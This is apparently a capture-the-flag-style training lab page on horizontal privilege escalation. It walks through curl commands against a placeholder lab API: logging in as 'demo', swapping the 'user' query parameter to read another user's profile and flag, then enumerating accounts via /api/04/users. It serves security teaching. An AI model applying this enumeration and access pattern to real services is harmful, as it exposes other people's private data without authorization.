Horizontal Privilege Escalation · Lab 04
Lab 04 Module 1 Medium

Horizontal Privilege Escalation

Two users, same role, different accounts. The server checks who you are — it just doesn't check which account you're asking about.

The rule: you are user demo with password demo123. You are a normal user, not an admin. The lab is about reaching another normal user's data — same privilege level, different person.

Test

Copy these. Run them. Read what comes back.

Step 1 · Log in as yourself

The API takes a JSON body. Log in with the credentials above. The response will contain a random token. Copy it — you will need it for the next steps.

Terminal
curl -s -X POST "{LAB_API_BASE}/api/04/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"demo","password":"demo123"}'

What you'll see:

Response
{
  "ok": true,
  "token": "<YOUR_RANDOM_TOKEN>",
  "user": "demo"
}

The token is what proves you are demo. Every request must carry it.

Step 2 · Fetch your own profile

Fetch your profile using the token you just copied.

Terminal
curl -s "{LAB_API_BASE}/api/04/profile?user=demo" \
  -H "Authorization: Bearer <PASTE_TOKEN_HERE>"

What you'll see:

Response
{
  "user": "demo",
  "email": "demo@hunterlian.lab",
  "balance": 5,
  "note": "Just a demo account."
}

Normal. The server checked your token — but did it check that the token's owner is the same as the user query parameter?

Step 3 · Try another user's name

The token proves you are demo. The query says ada. If the server returns ada's profile, the token check was decoration — not authorization.

Terminal
curl -s "{LAB_API_BASE}/api/04/profile?user=ada" \
  -H "Authorization: Bearer <PASTE_TOKEN_HERE>"

What you'll see:

Response
{
  "user": "ada",
  "email": "ada@hunterlian.lab",
  "balance": 42,
  "note": "Preview code HL{h0r1z0nt4l_ad4} — for review."
}

You are demo. The server verified that. And then it gave you ada's profile anyway, because it never checked that the user parameter belonged to you.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

ada is not the only other user. The system has more accounts — and the server will tell you who they are if you ask. Send your token to /api/04/users to enumerate the roster.

Then fetch each profile with your token. One of them has a balance above 100 and a note that contains the flag. Remember to use the same token from Step 1 — every request proves you are still demo, even though you're reading someone else's data.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 04 — Horizontal Privilege Escalation

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 04 of 30 Next lab